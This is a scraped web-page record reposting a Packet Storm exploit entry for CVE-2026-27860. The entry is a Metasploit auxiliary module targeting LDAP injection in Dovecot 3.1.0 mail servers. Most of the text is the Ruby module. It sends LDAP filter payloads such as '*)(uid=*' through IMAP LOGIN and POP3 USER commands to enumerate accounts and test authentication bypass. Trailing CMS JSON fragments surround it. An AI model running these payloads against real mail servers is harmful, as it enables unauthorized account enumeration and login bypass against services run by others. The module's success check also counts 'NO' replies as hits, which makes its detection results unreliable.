{“lastseen”:”2026-04-22T16:28:25″,”description”:”This Metasploit auxiliary module targets an LDAP injection vulnerability in Dovecot mail servers that can lead to authentication bypass or user enumeration via IMAP\/POP3. Version 3.1.0 is affected…”,”published”:”2026-04-22T00:00:00″,”modified”:”2026-04-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Dovecot 3.1.0 Authentication Bypass \/ User Enumeration”,”source”:””,”references”:””,”id”:”PACKETSTORM:219545″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-27860″],”sourceData”:”==================================================================================================================================\\n | # Title : Dovecot 3.1.0 LDAP Injection Authentication Bypass |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.dovecotpro.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary module targets a LDAP injection vulnerability in Dovecot mail servers that can lead to authentication bypass or user enumeration via IMAP\/POP3.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Auxiliary::Report\\n include Msf::Exploit::Remote::Tcp\\n include Msf::Auxiliary::Scanner\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Dovecot LDAP Injection Authentication Bypass’,\\n ‘Description’ =\\u003e %q{\\n Dovecot LDAP injection vulnerability.\\n },\\n ‘Author’ =\\u003e [\\n ‘indoushka’\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-27860’]\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘DisclosureDate’ =\\u003e ‘2026-03-27’\\n )\\n )\\n \\n register_options([\\n Opt::RPORT(143),\\n OptString.new(‘USERNAME’, [false, ‘Username’, ”]),\\n OptString.new(‘LDAP_FILTER’, [false, ‘LDAP filter’, ”]),\\n OptEnum.new(‘PROTOCOL’, [true, ‘Protocol’, ‘IMAP’, [‘IMAP’, ‘POP3’]])\\n ])\\n end\\n \\n def run_host(ip)\\n print_status(\\”Dovecot LDAP Injection CVE-2026-27860\\”)\\n print_status(\\”Target: #{ip}:#{rport}\\”)\\n \\n if datastore[‘USERNAME’].to_s.strip.empty?\\n enumerate_users\\n else\\n test_ldap_injection\\n end\\n end\\n \\n def enumerate_users\\n print_status(\\”Enumerating users…\\”)\\n \\n common_users = [‘admin’, ‘root’, ‘postmaster’, ‘webmaster’, ‘test’, ‘user’]\\n \\n common_users.each do |user|\\n payload = \\”#{user})(|(uid=*\\”\\n vprint_status(\\”Testing: #{user}\\”)\\n \\n if test_auth(payload)\\n print_good(\\”User found: #{user}\\”)\\n report_user(user)\\n end\\n \\n sleep(0.5)\\n end\\n end\\n \\n def test_ldap_injection\\n ldap_payload = datastore[‘LDAP_FILTER’].to_s.empty? ? \\”*)(uid=*\\” : datastore[‘LDAP_FILTER’]\\n \\n username = datastore[‘USERNAME’]\\n test_username = \\”#{username})(#{ldap_payload}\\”\\n \\n print_status(\\”Testing injection: #{test_username}\\”)\\n \\n if test_auth(test_username)\\n print_good(\\”LDAP injection possible for: #{username}\\”)\\n report_ldap_vulnerability\\n else\\n print_error(\\”No LDAP injection detected\\”)\\n end\\n end\\n \\n def test_auth(username)\\n sock = nil\\n \\n begin\\n sock = connect\\n banner = sock.get_once\\n vprint_status(\\”Banner: #{banner}\\”)\\n \\n if datastore[‘PROTOCOL’] == ‘IMAP’\\n sock.put(\\”a1 LOGIN \\\\\\”#{username}\\\\\\” \\\\\\”test\\\\\\”\\\\r\\\\n\\”)\\n response = sock.get_once\\n \\n vprint_status(\\”Response: #{response}\\”)\\n \\n return true if response \\u0026\\u0026 (\\n response.include?(‘OK’) ||\\n response.include?(‘NO’) ||\\n response.include?(‘LDAP’) ||\\n response.include?(‘search’)\\n )\\n else\\n sock.put(\\”USER #{username}\\\\r\\\\n\\”)\\n response = sock.get_once\\n \\n if response \\u0026\\u0026 response.include?(‘+OK’)\\n sock.put(\\”PASS test\\\\r\\\\n\\”)\\n final = sock.get_once\\n return true if final \\u0026\\u0026 final.include?(‘+OK’)\\n end\\n end\\n \\n rescue =\\u003e e\\n vprint_error(\\”Error: #{e.message}\\”)\\n ensure\\n disconnect(sock) if sock\\n end\\n \\n false\\n end\\n \\n def report_user(username)\\n report_note(\\n host: rhost,\\n port: rport,\\n type: ‘dovecot.ldap.user’,\\n data: { username: username }\\n )\\n end\\n \\n def report_ldap_vulnerability\\n report_note(\\n host: rhost,\\n port: rport,\\n type: ‘dovecot.ldap.injection’,\\n data: {\\n vulnerable: true,\\n payload: datastore[‘LDAP_FILTER’]\\n }\\n )\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219545″,”cvss”:{“score”:3.7,”severity”:”LOW”,”vector”:”CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219545\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-22T16:28:25″,”description”:”This Metasploit auxiliary module targets an LDAP injection vulnerability in Dovecot mail servers that can lead to authentication bypass or user enumeration via IMAP\/POP3. Version…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,145,12,71,13,53,7,11,5],"class_list":["post-48736","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-37","tag-exploit","tag-low","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n